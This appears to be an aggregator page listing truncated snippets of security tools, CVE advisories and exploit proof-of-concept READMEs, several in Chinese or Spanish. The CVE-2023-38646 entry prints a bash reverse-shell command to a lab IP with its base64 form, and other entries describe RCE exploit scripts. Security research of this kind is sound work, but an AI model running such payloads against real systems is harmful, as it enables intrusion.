authentik

What is authentik? authentik is an open-source Identity Provider IdP for modern SSO. It supports SAML, OAuth2/OIDC, LDAP, RADIUS, and more, designed for self-hosting from small labs to large production clusters. Our enterprise offering is available for organizations to securely replace existing...

nuclei

English • 中文 • Korean • Indonesia • Spanish • 日本語 • Portuguese • Türkçe...

mitmproxy

mitmproxy !autofix.ci:...

CVE-2020-35489

徽章 许可证 MIT 安装 1. 安装 Python3 和 pip 说明在此（如果你无法搞定这个，你真的不应该用这个） 通过 pip 安装 pip install CVE-2020-35489 运行以下命令来检查 CVE-2020-35489 -h 配置 2. 我们集成了 Telegram API，以便在检测到漏洞时接收即时通知。 Telegram 通知 CVE-2020-35489 --chatid 打开你的 Telegram 并搜索 @CappricioSecuritiesToolsbot，然后点击开始 用法 3. 该工具具有多种使用场景。 检查单个 URL CVE-2020-354...

EUVD-2026-96401

9router 0.4.1 through 0.5.99 contains a configuration injection vulnerability in the POST /api/cli-tools/hermes-settings endpoint that allows authenticated dashboard users to inject arbitrary keys into the Hermes Agent config.yaml file. Attackers can submit a baseUrl containing double quotes and...

CVE-2026-108593

9router 0.4.1 through 0.5.99 contains a configuration injection vulnerability in the POST /api/cli-tools/hermes-settings endpoint that allows authenticated dashboard users to inject arbitrary keys into the Hermes Agent config.yaml file. Attackers can submit a baseUrl containing double quotes and...

CVE-2026-108593 9router 0.4.1 through 0.5.99 Config Injection RCE via hermes-settings Endpoint

9router 0.4.1 through 0.5.99 contains a configuration injection vulnerability in the POST /api/cli-tools/hermes-settings endpoint that allows authenticated dashboard users to inject arbitrary keys into the Hermes Agent config.yaml file. Attackers can submit a baseUrl containing double quotes and...

CVE-2026-108593

The software 9router (versions 0.4.1 through 0.5.99 ) is vulnerable to a configuration injection vulnerability within the POST /api/cli-tools/hermes-settings endpoint. Authenticated dashboard users can exploit this by submitting a baseUrl containing double quotes and newlines, allowing them to in...

Aether

Aether An AI-driven OSINT analyst that lives on your desktop. Give her a name, an email, a username, a domain, or a photo. She opens a case, runs the target across the open web, reads the metadata, maps the infrastructure, and draws everything she finds into a knowledge graph that grows while you...

CVE-2023-38646

CVE-2023-38646 原始脚本来源于securezeron 我在测试过程中发现该poc生成的反向shell在经过base6编码后因为末尾的'='字符导致利用失败。对它稍作修改解决了这个问题。 原始的生成reverse shell负载的代码 base64.b64encode"bash -i &/dev/tcp/10.10.14.59/8080 0&1".encode.decode 'YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjEwLjE0LjU5LzgwODAgMD4mMQ==' 修改后的生成reverse shell负载的代码没有‘=’...

CVE-2024-25153

CVE-2024-25153 漏洞利用 目录 点击展开 1. 简介 2. 安装 3. 使用 4. 参与贡献 5. 许可证 简介 欢迎使用 CVE-2024-25153 漏洞利用！本项目旨在利用 CVE-2024-25153 漏洞，在 Fortra FileCatalyst Workflow 中远程执行代码。 安装 点击展开 以下是在您的机器上安装 CVE-2024-25153 漏洞利用的方法： git clone https://github.com/tucommenceapousser/CVE-2024-25153.git cd CVE-2024-25153 使用 点击展开 Host ...

CVE-2024-0235-PoC

CVE-2024-0235-PoC EventON WordPress 插件 4.5.5 之前版本及 EventON WordPress 插件 2.2.7 之前版本在 AJAX 操作中未进行授权，允许未认证用户获取博客上任何用户的电子邮件地址。 用法: usage: CVE-2024-0235.py -h --url URL CVE-2024-0235.py: error: the following arguments are required: --url/-u C:\Users\Nxploit\Desktop\readmailpython CVE-2024-0235.py -hel...

Arkari

Arkari Just ARKARI | | ---|---|--- Otro ofuscador basado en LLVM derivado de Goron Introducción C...

CVE-2025-63406-PoC

CVE-2025-63406 PoC 安装 Install dependencies pip install -r requirements.txt Or use a virtual environment python3 -m venv venv source venv/bin/activate On Windows: venv\Scripts\activate pip install -r requirements.txt 用法 python3 CVE-2025-63406.py -u -n -p -c 参数 -u, --url: GroupOffice 实例的基础 URL（例如...

POC_CVE-2026-45185

CVE-2026-45185 Nuclei 模板验证实验环境 此仓库并非通用型漏洞利用 PoC 仓库。它是一个本地验证实验环境，用于复现并审查为 projectdiscovery/nuclei-templates 贡献的 CVE-2026-45185 模板的行为。 The nuclei code template is not a version-only detector. It directly controls STARTTLS, BDAT, TLS closenotify, and a following SMTP plaintext byte on the same TCP...

CVE-2026-103648

CVE-2026-103648 — Path Traversal in image-downloader Discovered by:Amirhossein Roustaei @EterNullSec — Eternull Security 📖 Full technical writeup:eternull.net/posts/cve-2026-103648-image-downloader-path-traversal ⚠️ Educational Purposes Only. This repository documents a responsibly disclosed...

CVE-2026-102425

CVE-2026-102425 — Balbooa Forms combaforms 字段短代码 → RCE 针对 CVE-2026-102425 的 Python 3 PoC —— balbooa.com Balbooa Forms Joomla 扩展 —— 通过可选 提交后 PHP 操作（eval）中的 字段短代码注入 实现 未认证远程代码执行 。 | | | |---|---| | PoCbit | https://pocbit.org/pocs/cve-2026-102425 | | CVE.org | https://vulners.com/cve/CVE-2026-10242...

CVE-2026-102427

CVE-2026-102427 — OrdaSoft OS CCK comoscck 未授权上传 RCE 针对 CVE-2026-102427 的 Python 3 PoC —— OrdaSoft Joomla CCK —— 通过 task=getContent → site/uploader.php 实现未授权 RCE （GIF/PHP 多语言文件，.php 文件名）。 | ---|--- CVE.org| https://vulners.com/cve/CVE-2026-102427（已发布 2026-09-30） NVD|...

disclosure-thinkware-u3000

Thinkware U3000 Dashcam: Security Vulnerabilities Three vulnerabilities in the Thinkware U3000 dashcam's local WiFi control protocol, discovered through reverse engineering the official Android app and confirmed against real hardware. All three require only local network access: no physical acces...

seetong-ts81xxd3x-rce

PoC - RLog debug server RCE CVE-2026-100886 El arnés demuestra que el libLOG.so del firmware inicia un servidor RLog en TCP/3000. El análisis del despachador de comandos y las pruebas dinámicas demuestran la ejecución de comandos del SO sin autenticación a través de ese servidor. Carga el libLOG....